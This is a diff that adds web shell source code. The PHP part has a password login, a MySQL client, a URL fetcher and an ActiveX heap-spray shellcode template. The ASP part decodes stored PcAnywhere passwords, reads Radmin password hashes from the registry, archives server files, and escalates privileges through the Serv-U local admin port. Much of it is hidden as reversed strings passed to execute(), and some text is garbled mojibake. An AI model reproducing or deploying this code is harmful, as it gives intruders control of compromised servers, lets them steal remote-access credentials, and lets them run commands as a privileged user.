+function html_a($url,$name,$where=''){ + html_n("$name "); +} + +function html_img($url){ + html_n(""); +} + +function back(){ + html_n(""); +} + +function html_radio($namei,$namet,$v1,$v2){ + html_n(''.$namei); + html_n(''.$namet.'

'); +} + +function html_input($type,$name,$value = '',$text = '',$size = '',$mode = false){ + if($mode){ + html_n("$text"); + }else{ + html_n("$text "); + } +} + +function html_text($name,$cols,$rows,$value = ''){ + html_n("

"); +} + +function html_select($array,$mode = '',$change = '',$name = 'class'){ + html_n(""); +} + +function html_font($color,$size,$name){ + html_n("$name"); +} + +function GetHtml($url) +{ + $c = ''; + $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)'; + if(function_exists('fsockopen')){ + $link = parse_url($url); + $query=$link['path'].'?'.$link['query']; + $host=strtolower($link['host']); + $port=$link['port']; + if($port==""){$port=80;} + $fp = fsockopen ($host,$port, $errno, $errstr, 10); + if ($fp) + { + $out = "GET /{$query} HTTP/1.0\r\n"; + $out .= "Host: {$host}\r\n"; + $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n"; + $out .= "Connection: Close\r\n\r\n"; + fwrite($fp, $out); + $inheader=1; + while(!feof($fp)) + {$line=fgets($fp,4096); + if($inheader==0){$contents.=$line;} + if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;} + } + fclose ($fp); + $c= $contents; + } + } + if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_TIMEOUT, 15); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); + curl_setopt($ch, CURLOPT_USERAGENT, $useragent); + $c = curl_exec($ch); + curl_close($ch); + } + if(empty($c) && ini_get('allow_url_fopen')){ + $c = file_get_contents($url); + } + if(empty($c)){ + echo "document.write('
');"; + } + if(!empty($c)) + { + return $c; + } + } + +function html_main($path,$shellname){ +$serverip=gethostbyname($_SERVER['SERVER_NAME']); +print<<{$shellname} +
{$serverip}
+END; + html_n("
"); +} + +function islogin($shellname,$myurl){ +print<<body,td{font-size: 12px;color:#00ff00;background-color:#000000;}input,select,textarea{font-size: 12px;background-color:#FFFFCC;border:1px solid #fff}.C{background-color:#000000;border:0px}.cmd{background-color:#000;color:#FFF}body{margin: 0px;margin-left:4px;}BODY {SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323; SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838; SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;SCROLLBAR-TRACK-COLOR: #383838;}a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}.am{color:#888;font-size:11px;} +

{$shellname}

输入密码:


请于用于非法用途,后果作者概不负责!
+END; +} + +function html_sql(){ + html_input("text","sqlhost","localhost","
MYSQL地址","30"); + html_input("text","sqlport","3306","
MYSQL端口","30"); + html_input("text","sqluser","root","
MYSQL用户","30"); + html_input("password","sqlpass","","
MYSQL密码","30"); + html_input("text","sqldb","dbname","
MYSQL库名","30"); + html_input("submit","sqllogin","登陆","
"); + html_n(''); +} + +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} + +function html_n($data){ + echo "$data\n"; +} + +/*---css---*/ + +function css_img($img){ + $images = array( + "exe"=> + "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". + "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". + "xhIAOw==", + "dir"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAA". + "AAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdE". + "oMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", + "txt"=> + "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". + "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". + "UpPWG3Ig6Hq/XmRjuZwkAAA7", + "html"=> + "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". + "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". + "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". + "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". + "ADs=", + "js"=> + "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". + "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". + "a00AjYYBbc/o9HjNniUAADs=", + "xml"=> + "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". + "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". + "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". + "IQA7", + "mp3"=> + "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". + "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". + "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", + "img"=> + "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". + "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". + "FxEAOw==", + "title"=>"R0lGODlhDgAOAMQAAOGmGmZmZv//xVVVVeW6E+K2F/+ZAHNzcf+vAGdnaf/AAHt1af+". + "mAP/FAP61AHt4aXNza+WnFP//zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "ACH5BAAHAP8ALAAAAAAOAA4AAAVJYPIcZGk+wUM0bOsWoyu35KzceO3sjsTvDR1P4uMFDw2EEkGUL". + "I8NhpTRnEKnVAkWaugaJN4uN0y+kr2M4CIycwEWg4VpfoCHAAA7", + "rar"=>"R0lGODlhEAAQAPf/AAAAAAAAgAAA/wCAAAD/AACAgIAAAIAAgP8A/4CAAP//AMDAwP///wAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ACH5BAEKAP8ALAAAAAAQABAAAAiFAP0YEEhwoEE/". + "/xIuEJhgQYKDBxP+W2ig4cOCBCcyoHjAQMePHgf6WbDxgAIEKFOmHDmSwciQIDsiXLgwgZ+b". + "OHOSXJiz581/LRcE2LigqNGiLEkKWCCgqVOnM1naDOCHqtWbO336BLpzgAICYMOGRdgywIIC". + "aNOmRcjVj02tPxPCzfkvIAA7" + ); + header('Content-type: image/gif'); + echo base64_decode($images[$img]); + die(); +} + +function css_showimg($file){ + $it=substr($file,-3); + switch($it){ + case "jpg": case "gif": case "bmp": case "png": case "ico": return 'img';break; + case "htm": case "tml": return 'html';break; + case "exe": case "com": return 'exe';break; + case "xml": case "doc": return 'xml';break; + case ".js": case "vbs": return 'js';break; + case "mp3": case "wma": case "wav": case "swf": case ".rm": case "avi":case "mp4":case "mvb": return 'mp3';break; + case "rar": case "tar": case ".gz": case "zip":case "iso": return 'rar';break; + default: return 'txt';break; + } +} + +function css_js($num,$code = ''){ + if($num == "shellcode"){ + return '<%@ LANGUAGE="JavaScript" %> + <% + var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1"); + var shellcode = unescape("'.$code.'"); + var bigblock = unescape("%u9090%u9090"); + var headersize = 20; + var slackspace = headersize+shellcode.length; + while (bigblock.length'; + } + html_n(''); +} + +function css_left(){ + html_n(''); + html_n('
cifļ:
" +end Function +j"" +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then + j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then + j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then + j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then + j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then + j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then + j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then + j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i + j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) Or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +j"Pcanywhere Reader ==>

PATH:"&CIF&"
ʺ:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +j"
:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +j"
ע:HASHֵRadminHash߻odӣصַ:"&htp&"soft/Radmin_hash.rar

" +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +j Parameter&":" +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +j strobj +Else +j"Error! Can't Read!" +End If +j"

" +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +j Port &":" +j hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +j"Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function:Function MainForm() +execute(shisanfun(">elbat/<>rt/<>dt/<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>dt/<>emarfi/<>'0'=redrobemarf '%59'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>'071'=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/< )udiab(noisses fi:>a')\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a< >a')erehwynAcp\\cetnamyS\\ataD noitacilppA\\1~esulla\\1~emucod\\:c(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&>a<мlerp)8(>')lerp\\:c(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')\\revreS LQS tfosorciM\\seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&;psbn&;psbn&>a')php\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&>a')SWODNIW\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&>a<)2(UvreS)4(>')UvreS\\seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<)1(UvreS)3(>')moc.tfoSonihR\\seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&>a')pmeT\\SWODNIW\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')bupmw\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rb;psbn&j:neht ko >< )sRP(noisses fi:>a<)\:e(RELCYCER)01(>')relcycer\\:e(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<)\:d(RELCYCER)9(>')relcycer\\:D(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<)\:C(RELCYCER)8(>')relcycer\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<_̡)7(>')\\\\ˡʼ\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<β_ʼ_)6(>')\\ˡʼ\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')stnemucoD\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')seliF margorP\\:e(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')seliF margorP\\:d(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rt<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>'242424#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>p/<>a/<>b/<ʾ>b<>##=ferh ''=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod=kcilcno a<>p<>a/<>b/<>b<>##=ferh 'enon'=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod=kcilcno a<>'xp2:gniddap'=elyts 1=htdiw dt<>dt/<>'000000#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>emarfi/<>'0'=redrobemarf '%001'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>lt=di '061'=htdiw dt<>'0'=gnicapsllec '0'=gniddapllec ';000000# dilos xp1:redrob'=elyts '%5.59'=thgieh '%001'=htdiw elbat<>elbat/<>mrof/<>rt/<>dt/<>')(daoler.noitacol.emarFeliF'=kcilcno 'ˢ'=eulav 'timbus'=epyt tupni< >'OG'=eulav 'timbus'=epyt 'timbuS'=eman tupni<>'retnec'=ngila '041'=htdiw dt<>dt/<>'&)htaPredloF(noisseS&'=eulav '%001:htdiw'=elyts 'htaPredloF'=eman tupni<>dt<>dt/<ַ>'retnec'=ngila '06'=htdiw dt<>rt<>'tnerap_'=tegrat '&LRU&'=noitca 'tsop'=dohtem 'mrofrdda'=eman mrof<>'%001'=htdiw elbat<>mrof/<>emaNF=eman neddih=epyt tupni<>noitcA=eman neddih=epyt tupni<>emarFeliF=tegrat &LRU&=noitca tsop=dohtem mrofedih=eman mrof i elihW oD)\ ,htaPeht(rtsnI = ii miD)htaPeht(redloFetaerc buSbuS dnEgnihtoN = nnoc teSgnihtoN = maerts teSgnihtoN = sr teSgnihtoN = sw teSesolC.maertsesolC.nnocesolC.srpooLtxeNevoM.sr2 ,)htaPeht(sr & rts eliFoTevaS.maerts)tnetnoCelif(sr etirW.maerts)(soEteS.maertsfI dnE)redloFeht & rts(redloFetaercnehT eslaF = )redloFeht & rts(stsixEredloF.)tcejbOmetsySeliF.gnitpircS(tcejbOetaerC.revreS fI))\ ,)htaPeht(sr(veRrtSnI ,)htaPeht(sr(tfeL = redloFehtfoE.sr litnU oD1 = epyT.maertsnepO.maerts1 ,1 ,nnoc ,ataDeliF nepO.srrtSnnoc nepO.nnoc; & htaPeht & =ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP = rtSnnoc)noitcennoC.BDODA(tcejbOetaerC = nnoc teS)maertS.BDODA(tcejbOetaerC = maerts teS)teSdroceR.BDODA(tcejbOetaerC = sr teS\ & ).(htaPpaM.revreS = rtsredloFeht ,rtSnnoc ,maerts ,nnoc ,rts ,sw ,sr miD000001=tuOemiTtpircS.revreStxeN emuseR rorrE nO)htaPeht(kcaPnu buS)emanf&\&toorwww(eliFtxeTetaerC.osf=esonpser tesnoitcnuF dnEgnihtoN = redloFeht teSgnihtoN = sredlof teSgnihtoN = selif teStxeNfI dnEetadpU.sr)(daeR.maerts = )tnetnoCelif(sr)htaP.meti(eliFmorFdaoL.maerts)4 ,htaP.meti(diM = )htaPeht(srweNddA.srnehT 0 =< )$ & emaN.meti & $ ,tsiLeliFsys(rtSnI fIselif nI meti hcaE roFtxeNmaerts ,sr ,htaP.meti bdMroFeerTosfsredlof nI meti hcaE roFsredloFbuS.redloFeht = sredlof teSseliF.redloFeht = selif teS)htaPeht(redloFteG.)tcejbOmetsySeliF.gnitpircS(tcejbOetaerC.revreS = redloFeht teSfI dnE)!ʷʲ߻ڴ治¼Ŀ & htaPeht(rrEwohsnehT eslaF = )htaPeht(stsixEredloF.)tcejbOmetsySeliF.gnitpircS(tcejbOetaerC.revreS fI$bdl.HSH$bdm.HSH$ = tsiLeliFsystsiLeliFsys ,selif ,sredlof ,redloFeht ,meti miD)maerts ,sr ,htaPeht(bdMroFeerTosf noitcnuFbuS dnEgnihtoN = golataCoda teSgnihtoN = maerts teSgnihtoN = nnoc teSgnihtoN = sr teSesolC.maertsesolC.nnoCesolC.srfI dnEmaerts ,sr ,htaPeht bdMroFeerTaseslE maerts ,sr ,htaPeht bdMroFeerTosfnehT osf = )dohteMeht(tseuqeR fI3 ,3 ,nnoc ,ataDeliF nepO.sr1 = epyT.maertsnepO.maerts))egamI tnetnoCelif ,rahCraV htaPeht ,DERETSULC YEK YRAMIRP )1,0(YTITNEDI tni dI(ataDeliF elbaT etaerC(etucexE.nnocrtSnnoc nepO.nnocrtSnnoc etaerC.golataCoda)bdm.HSH(htaPpaM.revreS & =ecruoS ataD ;0.4.BDELO.teJ.tfosorciM=redivorP = rtSnnoc)golataC.XODA(tcejbOetaerC.revreS = golataCoda teS)noitcennoC.BDODA(tcejbOetaerC.revreS = nnoc teS)maertS.BDODA(tcejbOetaerC.revreS = maerts teS)teSdroceR.BDODA(tcejbOetaerC.revreS = sr teSgolataCoda ,rtSnnoc ,maerts ,nnoc ,sr miDtxeN emuseR rorrE nO)htaPeht(bdMoTdda buSbuS dnE>mrof/<¼Ŀ̱λ :ע>rb<>rb<>''=eulav timbus=epyt tupni<>tcAeht=eman bdMmorFesaeler=eulav neddih=epyt tupni<>08=ezis bdm.HSH\ & )).(htaPpaM.revreS(edocnElmtH & =eulav htaPeht=eman tupni<>))#(noisseS(etucexE=eulav #=eman neddih=epyt tupni<>tsop=dohtem mrof<>/rb<:)֧OSF(>/rh<>mrof/<¼Ŀͬľmasλ,bdm.HSH :ע>rb<>rb<>'ʼ'=eulav timbus=epyt tupni<>tceles/<>noitpo/ppa=eulav noitpo<>noitpo/osf=eulav noitpo<>dohteMeht=eman tceles<>tcAeht=eman bdMoTdda=eulav neddih=epyt tupni<>08=ezis & )).(htaPpaM.revreS(edocnElmtH & =eulav htaPeht=eman tupni<>))#(noisseS(etucexE=eulav #=eman neddih=epyt tupni<>tsop=dohtem mrof<:м>rbvid/rb<>retnec=ngila vid< j)htaPeht(kcaPnunehT bdMmorFesaeler = tcAeht fIfI dnEdnE.esnopseRlrUkcaB&>vid/rb<>retnec=ngila vid< j)htaPeht(bdMoTddanehT bdMoTdda = tcAeht fI000001=tuOemiTtpircS.revreS)htaPeht(tseuqeR = htaPeht)tcAeht(tseuqeR = tcAehthtaPeht ,tcAeht miD)(bdMoTddAegaP buS")) + + + +Function ProFile() +execute(shisanfun("IS j>elbat/<>mrof/<&IS=IS>rt/<>dt/<>'̽һ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>05=thgieh dt<>dt/<;psbn&>dt<>rt<&IS=IS>rt/<>dt/<)ȫ񣬴ԽƵԽĵĻҪ裬1ΪС( >/ )'',g/]d\^[/(ecalper.eulav=eulav=puyekno 5=ezis 1=eulav thgir:ngila-txet=elyts emiTA=eman txet=epyt tupni<>dt<>dt/<Ƶ>thgir=ngila dt<>rt<&IS=IS>rt/<>dt/<)ĸԳ룬ֳʷ( 8-FTU>/ 2=eulav rahCA=eman oidar=epyt tupni< 2132BG>/ dekcehc 1=eulav rahCA=eman oidar=epyt tupni<>dt<>dt/<>thgir=ngila dt<>rt<&IS=IS>rt/<>dt/<>aeratxet/<>7=swor 07=sloc edoCA=eman aeratxet<>dt<>dt/<>thgir=ngila ;xp3:pot-gniddap=elyts pot=ngilav dt<>rt<&IS=IS>rt/<>dt/<>aeratxet/<&)psa.tset\&)htaPredloF(noisseS(htaPeRR&>7=swor 07=sloc eliFA=eman aeratxet<&IS=IS>dt<>dt/<>tnof/<;psbn&;psbn&·ĸһÿ>rb<;psbn&;psbn&ĸ໤ʱͬ>wolley=roloc tnof<>rb<·ĵĻҪ>0=eulav avvv=eman neddih=epyt tupni<>thgir=ngila 'xp22:thgieh-enil'=elyts pot=ngilav dt<>rt<&IS=IS'tsoP=2noitcA&eliForP=noitcA?&LRU&'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<&IS=IS>'0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<=ISfI dnEdnE.esnopseR>rb<>retnec/<̽>a/<>knalb_=tegrat &2ssap&=eliForP?&LRU&=ferh dlob:thgiew-tnof;enilrednu:noitaroced-txet=elyts a<㣡ɳ >tnof/<&2ssap&>wolley=roloc tnof< ̽>retnec<>rb<>rb<>rbRB<>rb<): & htapt & :· & ssapt & :ܩ & & resut & : PTFִ( jgnihton=TSOPx teS)sevael(dneS.tsoPxeurT ,sevael/& trop &:1.0.0.721//:ptth ,TSOP nepO.tsoPx)PTTHLMX.2LMXSM(tcejbOetaerC = tsoPx teStxeN emuseR rorrE nOflrcbv & PDCLEMAWR|\ & htapt & =sseccA & flrcbv & enoN=soitaR- & flrcbv & ralugeR=epyTdrowssaP- & flrcbv & metsyS=ecnanetniaM-_ & flrcbv & 0=mumixaMatouQ- & flrcbv & 0=tnerruCatouQ- & flrcbv & 0=tiderCsoitaR- & flrcbv & 1=nwoDoitaR-_ & flrcbv & 1=pUoitaR- & flrcbv & 0=eripxE- & flrcbv & 1-=tuOemiTnoisseS- & flrcbv & 006=tuOemiTeldI- & flrcbv & 1-=sresUrNxaM-_ & flrcbv & 0=nwoDtimiLdeepS- & flrcbv & 0=pUtimiLdeepS- & flrcbv & 1-=PIrePnigoLsresUxaM- & flrcbv & 0=elbanEatouQ-_ & flrcbv & 0=drowssaPegnahC- & flrcbv & 0=nigoLwollAsyawlA- & flrcbv & 0=neddiHediH- & flrcbv & 0=eruceSdeeN-_ & flrcbv & 1=shtaPleR- & flrcbv & 0=elbasiD- & flrcbv & =eliFseMnigoL- & flrcbv & \ & htapt & =riDemoH-_ & flrcbv & ssapt & =drowssaP- & flrcbv & resut & =resU- & flrcbv & tropt & =oNtroP- & flrcbv & 0.0.0.0=PI- & flrcbv & PUTESRESUTES- & sevael = sevaelflrcbv & ECNANETNIAM ETIS & sevael = sevaelflrcbv & dwp & ssaP & sevael = sevaelflrcbv & rsU & resU = sevaelnehT dda = )nottuboidar(mroF.tseuqer fi)dmcd(mroF.tseuqer = dnammoC')tropt(mroF.tseuqer = tropt)htapt(mroF.tseuqer = htapt)ssapt(mroF.tseuqer = ssapt)resut(mroF.tseuqer = resut)tropd(mroF.tseuqer = trop)dwpd(mroF.tseuqer = dwp)resud(mroF.tseuqer = rsU>retnec/<>mrof/<>elbat/<>rt/<>dt/<>'1'=eulav 'noitca'=di 'neddih'=epyt 'noitcaUS'=eman tupni<>'teseR'=eulav '2timbuS'=eman 'teser'=epyt tupni<;psbn&>'oG tsuJ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>d=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<>dt/<ɾȷ>d=di 'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<;psbn&ȷ>d=di 'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>d=di dt<>dt/<ִ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>d=di dt<>dt/<ڶ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>d=di dt<>dt/<·ʷ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'1'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>d=di dt<>dt/<ڼ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'redavni'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>d=di dt<>dt/<˼>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman 